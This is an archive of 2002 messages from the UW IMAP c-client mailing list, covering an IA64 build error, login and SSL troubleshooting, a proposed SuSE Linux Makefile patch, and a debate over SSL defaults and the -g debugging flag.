05:36:38 -0800 Received: from gantek.com (dhcp22.ankara.gantek.com [192.168.6.82]) (authenticated) by helios.ankara.gantek.com (8.11.3/8.11.3) with ESMTP id g0LDZkc28543; Mon, 21 Jan 2002 15:35:46 +0200 (EET) Message-Id: <3C4C1794.C75BFB2F@gantek.com> Date: Mon, 21 Jan 2002 15:28:52 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: oguz yilmaz To: imap@u.washington.edu, c-client@u.washington.edu Subject: Mismatched Data ABI MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Accept-Language: en X-Virus-Scanned: by AMaViSperl10-milter (http://amavis.org/ X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN posting again because of reading difficulties.... hi all, my system is a hprx4610 IA64, 2 cpu itanium system. I am using make and gcc from devresource.hp.com compiled for IA64. http://h21007.www2.hp.com/dspp/tech/tech_TechSoftwareDetailPage_IDX/1,1703,547,00.html I have compiled University of Washington IMAP. bye saying make ghp (actually this is for hp-ux 10x however in Makefile there is no difference for a bulk of hosts) then i compiled php with ./configure --prefix=/opt/1apache/php --sysconfdir=/opt/1apache/conf --enable-force-cgi-redirect --enable-track-vars --without-pear --with-imap=/opt/2uwimap --with-mysql --with-apache=../apache_1.3.19 My c-client.a is on /opt/2uwimap/lib/ While compiling this php module in to apache executable statically, I get Mismatched Data ABI error for libc-client.a. I think th eproblem is about compilation of uwimap. what paramaters should I use for make or gcc to include EF_IA_64_ABI64 Data ABI in libc-client.a? or do you think this problem is about other things? thanks. gcc -mlp64 -DHPUX11 -I/home/oguzy/work/php-4.0.6 -I/home/oguzy/work/php-4.0.6/main -I/home/oguzy/work/php-4.0.6/main -I/home/oguzy/work/php-4.0.6/Zend -I/home/oguzy/work/php-4.0.6/Zend -I/home/oguzy/work/php-4.0.6/TSRM -I/home/oguzy/work/php-4.0.6/TSRM -I/home/oguzy/work/php-4.0.6 -DUSE_EXPAT -I./lib/expat-lite -mlp64 `./apaci` -Wl,-E -Wl,-B,deferred -Wl,+s -o httpd buildmark.o modules.o modules/php4/libphp4.a modules/standard/libstandard.a main/libmain.a ./os/unix/libos.a ap/libap.a lib/expat-lite/libexpat.a -L/opt/2uwimap/lib -L/opt/2uwimap/lib -Lmodules/php4 -L../modules/php4 -L../../modules/php4 -lmodphp4 -lc-client -ldl -lm -ldl -lnsl -lm -lpthread ld: Mismatched Data ABI. Expected EF_IA_64_ABI64 but found None in file /opt/2uwimap/lib/libc-client.a[mail.o] Fatal error. collect2: ld returned 1 exit status make[2]: *** [target_static] Error 1 make[2]: Leaving directory `/postavol/home/oguzy/work/apache_1.3.19/src' make[1]: *** [build-std] Error 2 make[1]: Leaving directory `/postavol/home/oguzy/work/apache_1.3.19' make: *** [build] Error 2 -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Jan 21 20:14:29 2002 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 21 Jan 2002 20:14:28 -0800 (PST) Return-Path: Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g0M4ER7i030610 for ; Mon, 21 Jan 2002 20:14:27 -0800 (PST) Received: FROM mx2.cac.washington.edu BY mailscan5.cac.washington.edu ; Mon Jan 21 20:14:16 2002 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g0M4EFmT032749; Mon, 21 Jan 2002 20:14:15 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id g0M4Dvx13148; Mon, 21 Jan 2002 20:13:58 -0800 Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id g0M4CeK95532 for ; Mon, 21 Jan 2002 20:12:40 -0800 Received: FROM mxu3.u.washington.edu BY mailscan5.cac.washington.edu ; Mon Jan 21 20:12:39 2002 -0800 Received: from Ikkoku-Kan.Panda.COM (ikkoku-kan.panda.com [206.124.149.114]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g0M4CcWn023790 for ; Mon, 21 Jan 2002 20:12:38 -0800 Message-Id: Date: Mon, 21 Jan 2002 20:07:17 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Irwan Hadi Cc: c-client@u.washington.edu Subject: re: Problem installing UW Imap on Solaris 8 for Sparc In-Reply-To: <20020121050050.A10060@phxby.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 21 Jan 2002 05:00:50 -0700, Irwan Hadi wrote: > Jan 21 04:49:01 sol imapd[7092]: [ID 210418 auth.notice] Login disabled > user=irwanhadi auth=irwanhadi host=irwanhadi.dorms.usu.edu > [129.123.230.12] The client tried to do a LOGIN command. Either: 1) You built imapd with PASSWDTYPE=nul, meaning that the LOGIN command is never permitted. 2) You built imapd with SSLTYPE=nopwd, meaning that the LOGIN command is only permitted in SSL sessions, and the client connected in a non-SSL session. > for the imaps, I also got problem like this > [sol]/> telnet localhost 993 This won't work. You can not telnet to an SSL port. Try using OpenSSL's s_client program instead. From pinedev@shivax2.cac.washington.edu Wed Jan 23 09:55:56 2002 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 23 Jan 2002 09:55:49 -0800 (PST) Return-Path: Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g0NHti7i028722 for ; Wed, 23 Jan 2002 09:55:45 -0800 (PST) Received: FROM mx2.cac.washington.edu BY mailscan3.cac.washington.edu ; Wed Jan 23 09:55:36 2002 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g0NHtamT019531; Wed, 23 Jan 2002 09:55:36 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g0NHsfkG019112; Wed, 23 Jan 2002 09:54:42 -0800 Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g0NHpYw6029364 for ; Wed, 23 Jan 2002 09:51:34 -0800 Received: FROM mxu1.u.washington.edu BY mailscan1.cac.washington.edu ; Wed Jan 23 09:51:33 2002 -0800 Received: from www.scotty.co.at (Scotty-EUnet.AT.EU.net [193.83.12.34] (may be forged)) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g0NHpQpj010825 for ; Wed, 23 Jan 2002 09:51:32 -0800 Received: from localhost (fl@localhost) by www.scotty.co.at (8.11.0/linuxconf) with ESMTP id g0NHpOe10038; Wed, 23 Jan 2002 18:51:24 +0100 Message-Id: Date: Wed, 23 Jan 2002 18:51:24 +0100 (CET) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Friedrich Lobenstock To: C-Client/WU-IMAP Mailing Liste Subject: [PATCH] port of WU-IMAPD to SuSE Linux MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-X-Sender: X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi! I found that there is already a port for Redhat Linux so I didn't hassitate to make one for SuSE Linux and here it is. Hope this get's applied to the next release of wu.imapd. -- MfG / Regards Friedrich Lobenstock diff -Nur imap-2002.DEV.SNAP-0201222215/Makefile imap-2002.DEV.SNAP-0201222215-suse/Makefile --- imap-2002.DEV.SNAP-0201222215/Makefile Tue Oct 23 06:46:33 2001 +++ imap-2002.DEV.SNAP-0201222215-suse/Makefile Wed Jan 23 18:22:25 2002 @@ -282,6 +282,11 @@ $(BUILD) BUILDTYPE=lnp \ SPECIALS="GSSDIR=/usr/kerberos SSLDIR=/usr/share/ssl SSLINCLUDE=/usr/include/openssl SSLLIB=/usr/lib" +# SuSE Linux +lxs: an + $(BUILD) BUILDTYPE=$@ \ + SPECIALS="SSLTYPE=unix SSLDIR=/usr/ssl SSLINCLUDE=/usr/include/openssl SSLLIB=/usr/lib" + # Linux shadow password support doesn't build on traditional systems, but most # Linux systems are shadow these days. diff -Nur imap-2002.DEV.SNAP-0201222215/src/osdep/unix/Makefile imap-2002.DEV.SNAP-0201222215-suse/src/osdep/unix/Makefile --- imap-2002.DEV.SNAP-0201222215/src/osdep/unix/Makefile Fri Nov 30 20:10:06 2001 +++ imap-2002.DEV.SNAP-0201222215-suse/src/osdep/unix/Makefile Wed Jan 23 17:43:00 2002 @@ -435,6 +435,15 @@ BASECFLAGS="-g -fno-omit-frame-pointer -O6" \ BASELDFLAGS="-lpam -ldl" +lxs: # SuSE Linux + $(BUILD) `$(CAT) SPECIALS` OS=lnx \ + SIGTYPE=psx CHECKPW=pam CRXTYPE=nfs \ + SPOOLDIR=/var/spool \ + ACTIVEFILE=/var/lib/news/active \ + RSHPATH=/usr/bin/rsh \ + BASECFLAGS="-O2" \ + BASELDFLAGS="-lpam -ldl" + lnx: # Linux non-shadow passwords @echo You are building for traditional Linux *without* shadow @echo passwords and with the crypt function in the C library. -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Jan 23 10:07:57 2002 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 23 Jan 2002 10:07:56 -0800 (PST) Return-Path: Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g0NI7t7i021935 for ; Wed, 23 Jan 2002 10:07:55 -0800 (PST) Received: FROM mx2.cac.washington.edu BY mailscan2.cac.washington.edu ; Wed Jan 23 10:07:49 2002 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g0NI7nmT019920; Wed, 23 Jan 2002 10:07:49 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g0NI7DAf016154; Wed, 23 Jan 2002 10:07:13 -0800 Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g0NI5uw6168446 for ; Wed, 23 Jan 2002 10:05:56 -0800 Received: FROM mxu3.u.washington.edu BY mailscan2.cac.washington.edu ; Wed Jan 23 10:05:50 2002 -0800 Received: from Ikkoku-Kan.Panda.COM (ikkoku-kan.panda.com [206.124.149.114]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g0NI5nWn011022 for ; Wed, 23 Jan 2002 10:05:49 -0800 Message-Id: Date: Wed, 23 Jan 2002 10:01:22 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Friedrich Lobenstock Cc: C-Client/WU-IMAP Mailing Liste Subject: re: [PATCH] port of WU-IMAPD to SuSE Linux In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I've added lsu for SuSE Linux to the sources based upon your patches. There are some other differences: 1) Official sources never set SSLTYPE by default. You have to specify that you want an SSL build. 2) lsu uses the lnp buildtype. The only difference in your patch was to the CFLAGS. Official sources always set -g From pinedev@shivax2.cac.washington.edu Wed Jan 23 10:17:53 2002 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 23 Jan 2002 10:17:52 -0800 (PST) Return-Path: Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g0NIHp7i013662 for ; Wed, 23 Jan 2002 10:17:51 -0800 (PST) Received: FROM mx1.cac.washington.edu BY mailscan4.cac.washington.edu ; Wed Jan 23 10:17:38 2002 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g0NIHcPs020563; Wed, 23 Jan 2002 10:17:38 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g0NIH2Af020556; Wed, 23 Jan 2002 10:17:02 -0800 Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g0NIEnw6169420 for ; Wed, 23 Jan 2002 10:14:50 -0800 Received: FROM mxu3.u.washington.edu BY mailscan2.cac.washington.edu ; Wed Jan 23 10:14:49 2002 -0800 Received: from www.scotty.co.at (Scotty-EUnet.AT.EU.net [193.83.12.34] (may be forged)) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g0NIEkWn014029 for ; Wed, 23 Jan 2002 10:14:47 -0800 Received: from localhost (fl@localhost) by www.scotty.co.at (8.11.0/linuxconf) with ESMTP id g0NIEid10352; Wed, 23 Jan 2002 19:14:44 +0100 Message-Id: Date: Wed, 23 Jan 2002 19:14:44 +0100 (CET) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Friedrich Lobenstock To: C-Client/WU-IMAP Mailing Liste Subject: re: [PATCH] port of WU-IMAPD to SuSE Linux In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-X-Sender: X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 23 Jan 2002 10:01, Mark Crispin wrote: > I've added lsu for SuSE Linux to the sources based upon your patches. There > are some other differences: > > 1) Official sources never set SSLTYPE by default. You have to specify that > you want an SSL build. > > 2) lsu uses the lnp buildtype. The only difference in your patch was to the > CFLAGS. Official sources always set -g > add 1) and 2) SSLTYPE and CFLAGS are specific to SuSE and it's a special port of Linux -- MfG / Regards Friedrich Lobenstock From pinedev@shivax2.cac.washington.edu Wed Jan 23 10:32:25 2002 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 23 Jan 2002 10:32:24 -0800 (PST) Return-Path: Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g0NIWM7i005121 for ; Wed, 23 Jan 2002 10:32:22 -0800 (PST) Received: FROM mx1.cac.washington.edu BY mailscan3.cac.washington.edu ; Wed Jan 23 10:32:11 2002 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g0NIWBPs021018; Wed, 23 Jan 2002 10:32:11 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g0NIVRkG010410; Wed, 23 Jan 2002 10:31:27 -0800 Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g0NIS0w6084500 for ; Wed, 23 Jan 2002 10:28:00 -0800 Received: FROM mxu1.u.washington.edu BY mailscan3.cac.washington.edu ; Wed Jan 23 10:27:59 2002 -0800 Received: from darkstar.spinfo.uni-koeln.de (darkstar.spinfo.Uni-Koeln.DE [134.95.187.130]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g0NIRvpj023117 for ; Wed, 23 Jan 2002 10:27:58 -0800 Received: from news.rrz.Uni-Koeln.DE (news.rrz.Uni-Koeln.DE [134.95.100.202]) by darkstar.spinfo.uni-koeln.de (8.12.1/8.12.1) with ESMTP id g0NIRuFp030274; Wed, 23 Jan 2002 19:27:56 +0100 Message-Id: <405510000.1011810470@news.rrz.Uni-Koeln.DE> Date: Wed, 23 Jan 2002 19:27:51 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Sebastian Hagedorn To: "C-Client/WU-IMAP Mailing Liste" Cc: Friedrich Lobenstock Subject: re: [PATCH] port of WU-IMAPD to SuSE Linux In-Reply-To: References: MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="==========411790055==========" X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN --==========411790055========== Content-Type: text/plain; charset=iso-8859-1; format=flowed Content-Transfer-Encoding: quoted-printable Content-Disposition: inline --On Wednesday, January 23, 2002 19:14:44 +0100 Friedrich Lobenstock=20 wrote: > On Wed, 23 Jan 2002 10:01, Mark Crispin wrote: > >> I've added lsu for SuSE Linux to the sources based upon your patches. >> There are some other differences: >> >> 1) Official sources never set SSLTYPE by default. You have to specify >> that you want an SSL build. >> >> 2) lsu uses the lnp buildtype. The only difference in your patch was to >> the CFLAGS. Official sources always set -g >> > > add 1) and 2) > SSLTYPE and CFLAGS are specific to SuSE and it's a special port of Linux Whatever is that supposed to mean? Why should the SuSE port be different=20 from every other port in that respect? There is a reason why the flags are what they are... Greetings, Sebastian -- Sebastian Hagedorn Ehrenfeldg=FCrtel 156 50823 K=F6ln http://www.spinfo.uni-koeln.de/~hgd/ Winter is coming. --==========411790055========== Content-Type: application/pgp-signature Content-Transfer-Encoding: 7bit -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (SunOS) Comment: For info see http://www.gnupg.org iD8DBQE8TwCpGXsGmU0QW0URArsEAJ981Ur3m+NtFxyqVZoFmpSs//QtOgCeNQsJ 5HTB4wSSa/D11+GcsU+vD74= =Fngg -----END PGP SIGNATURE----- --==========411790055==========-- From pinedev@shivax2.cac.washington.edu Wed Jan 23 11:33:44 2002 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 23 Jan 2002 11:33:44 -0800 (PST) Return-Path: Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g0NJXf7i001829 for ; Wed, 23 Jan 2002 11:33:42 -0800 (PST) Received: FROM mx2.cac.washington.edu BY mailscan4.cac.washington.edu ; Wed Jan 23 11:33:34 2002 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g0NJXXmT022733; Wed, 23 Jan 2002 11:33:33 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g0NJWqKT023014; Wed, 23 Jan 2002 11:32:52 -0800 Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g0NJV4w6110626 for ; Wed, 23 Jan 2002 11:31:04 -0800 Received: FROM mxu3.u.washington.edu BY mailscan5.cac.washington.edu ; Wed Jan 23 11:30:56 2002 -0800 Received: from Ikkoku-Kan.Panda.COM (ikkoku-kan.panda.com [206.124.149.114]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g0NJUtWn007206 for ; Wed, 23 Jan 2002 11:30:55 -0800 Message-Id: Date: Wed, 23 Jan 2002 10:41:06 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Sebastian Hagedorn Cc: C-Client/WU-IMAP Mailing Liste , Friedrich Lobenstock Subject: re: [PATCH] port of WU-IMAPD to SuSE Linux In-Reply-To: <405510000.1011810470@news.rrz.Uni-Koeln.DE> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 23 Jan 2002 19:27:51 +0100, Sebastian Hagedorn wrote: > > add 1) and 2) > > SSLTYPE and CFLAGS are specific to SuSE and it's a special port of Linux > Whatever is that supposed to mean? Why should the SuSE port be different > from every other port in that respect? Thank you. I was about to answer the same thing. All UW IMAP documentation is based upon a standard distribution, and that standard has proved to be a good thing. I understand why third party OS vendors wish to modify the software (e.g. to comply with *their* standard!); however, the burden of such modifications belongs with them. Of course, the UW distribution must have some platform-specific modifications. Those modifications are limited to what is necessary to make the software build and operate according to the UW standard on that platform. Options such as SSL are options are on all platforms. Turning on SSL adds external dependencies. I know for a fact that RedHat does not guarantee that those dependencies will be met. I doubt that SuSE does either. I don't know of a single UNIX-based operating system which does. > There is a reason why the flags are what they are... Yup. To clarify my position on -g: I am frequently asked to turn off -g for a build on a particular port, and from time to time a submitted port has snuck in without -g. This has *always* ended up causing problems. There are only two valid excuses for not using -g in a port: 1) The compiler does not support -g 2) An alternate form of -g is needed with optimization, e.g. -g3. There will be no new ports added without -g (or alternative) being set. Processors are fast enough (and disk space is cheap enough) that -g should be automatic in all compilers with no way of turning it off, and /bin/strip should be a symlink to /bin/true. Human life is too short to deal with binaries built without -g. Such binaries should be an evil memory of the days of KIPS processors and disks that costs several dollars per kilobyte. I have not arbitrarily added -g to the ports which do not currently have it because I don't know if doing so would break the build. However, any support issues with one of those port *will* lead to the correct -g setting being determined and permanently added. From pinedev@shivax2.cac.washington.edu Wed Jan 23 13:52:10 2002 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 23 Jan 2002 13:52:07 -0800 (PST) Return-Path: Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g0NLq37i001745 for ; Wed, 23 Jan 2002 13:52:04 -0800 (PST) Received: FROM mx1.cac.washington.edu BY mailscan3.cac.washington.edu ; Wed Jan 23 13:51:57 2002 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g0NLpvPs027625; Wed, 23 Jan 2002 13:51:57 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g0NLpLAf021432; Wed, 23 Jan 2002 13:51:21 -0800 Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g0NLnew6066778 for ; Wed, 23 Jan 2002 13:49:40 -0800 Received: FROM mxu4.u.washington.edu BY mailscan2.cac.washington.edu ; Wed Jan 23 13:49:33 2002 -0800 Received: from stratus.swi.com.br (stratus.swi.com.br [200.203.204.140]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g0NLnU37006329 for ; Wed, 23 Jan 2002 13:49:31 -0800 Received: from speedy.swi (titan.swi.com.br [200.203.204.141]) by stratus.swi.com.br (8.11.6/8.11.1) with ESMTP id g0NJmfF05539; Wed, 23 Jan 2002 17:48:42 -0200 Message-Id: <200201231948.g0NJmfF05539@stratus.swi.com.br> Date: Wed, 23 Jan 2002 17:48:42 -0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Raul Dias To: Mark Crispin , Sebastian Hagedorn Cc: Friedrich Lobenstock , C-Client/WU-IMAP Mailing Liste Subject: Re: [PATCH] port of WU-IMAPD to SuSE Linux In-Reply-To: References: Content-Type: text/plain; charset="ISO-8859-1" Content-Disposition: inline Content-Transfer-Encoding: 7bit MIME-Version: 1.0 X-Local-Destination: c-client@u.washington.edu X-Local-Origin: chaos@swi.com.br X-Gateway: Speedway Internet Service http://www.swi.com.br X-Secret: http://www.swi.com.br/~chaos/cmc/cmc_secret X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Mark Crispin wrote: [ **** ] >Options such as SSL are options are on all platforms. Turning on SSL adds >external dependencies. I know for a fact that RedHat does not guarantee that >those dependencies will be met. I doubt that SuSE does either. I don't know >of a single UNIX-based operating system which does. > I do it easily with rpm. BuildRequires, Requires and automatic requires take care of this nicely (I believe .debs do it too). >> There is a reason why the flags are what they are... > >Yup. To clarify my position on -g: > >I am frequently asked to turn off -g for a build on a particular port, and >from time to time a submitted port has snuck in without -g. This has *always* >ended up causing problems. There are only two valid excuses for not using -g >in a port: > 1) The compiler does not support -g > 2) An alternate form of -g is needed with optimization, e.g. -g3. >There will be no new ports added without -g (or alternative) being set. I agree with you in the sense of supporting and debugging without it would be impossible. > >Processors are fast enough (and disk space is cheap enough) that -g should be >automatic in all compilers with no way of turning it off, and /bin/strip >should be a symlink to /bin/true. Human life is too short to deal with >binaries built without -g. I disagree with you in this point. If a software is know to work right, there is no point in keeping unecessary symbols in its binaries that usually slows down its performance. This is an important point on high load servers, for example. If there is a problem, the user should recompile it with the debugs turned on. Of course, I do agree that it is the user/packager 's job to strip this and not the pristine source. > Such binaries should be an evil memory of the days >of KIPS processors and disks that costs several dollars per kilobyte. It still is. Regarding some cache memories in the CPUs. In some cases keeping the binary small, might make it stay in the cache memory longer without the need to be swapped to the main memory, giving a burst during its execution. Best Regards, Raul Dias From pinedev@shivax2.cac.washington.edu Wed Jan 23 14:00:28 2002 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 23 Jan 2002 14:00:28 -0800 (PST) Return-Path: Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g0NM0R7i021093 for ; Wed, 23 Jan 2002 14:00:27 -0800 (PST) Received: FROM mx2.cac.washington.edu BY mailscan1.cac.washington.edu ; Wed Jan 23 14:00:19 2002 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g0NM0JmT027560; Wed, 23 Jan 2002 14:00:19 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g0NLxekG021084; Wed, 23 Jan 2002 13:59:40 -0800 Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g0NLwbw6040944 for ; Wed, 23 Jan 2002 13:58:37 -0800 Received: FROM mxu3.u.washington.edu BY mailscan6.cac.washington.edu ; Wed Jan 23 13:58:35 2002 -0800 Received: from Ikkoku-Kan.Panda.COM (ikkoku-kan.panda.com [206.124.149.114]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g0NLwYWn021882 for ; Wed, 23 Jan 2002 13:58:35 -0800 Message-Id: Date: Wed, 23 Jan 2002 13:51:43 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Raul Dias Cc: Sebastian Hagedorn , Friedrich Lobenstock Subject: Re: [PATCH] port of WU-IMAPD to SuSE Linux In-Reply-To: <200201231948.g0NJmfF05539@stratus.swi.com.br> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 23 Jan 2002 17:48:42 -0200, Raul Dias wrote: > >Options such as SSL are options are on all platforms. Turning on SSL adds > >external dependencies. I know for a fact that RedHat does not guarantee > >that those dependencies will be met. I doubt that SuSE does either. I > >don't know of a single UNIX-based operating system which does. > I do it easily with rpm. BuildRequires, Requires and automatic requires take > care of this nicely (I believe .debs do it too). Really? You can refuse to install an imapd built with SSL if proper certificates are not installed first? > If a software is know to work right, there is no point in keeping unecessary > symbols in its binaries that usually slows down its performance. > This is an important point on high load servers, for example. Do you have any measure on exactly how much -g "slows down its performance"? I can understand that some stack optimizations can't be done, but how much does that really affect the performance of imapd? > It still is. 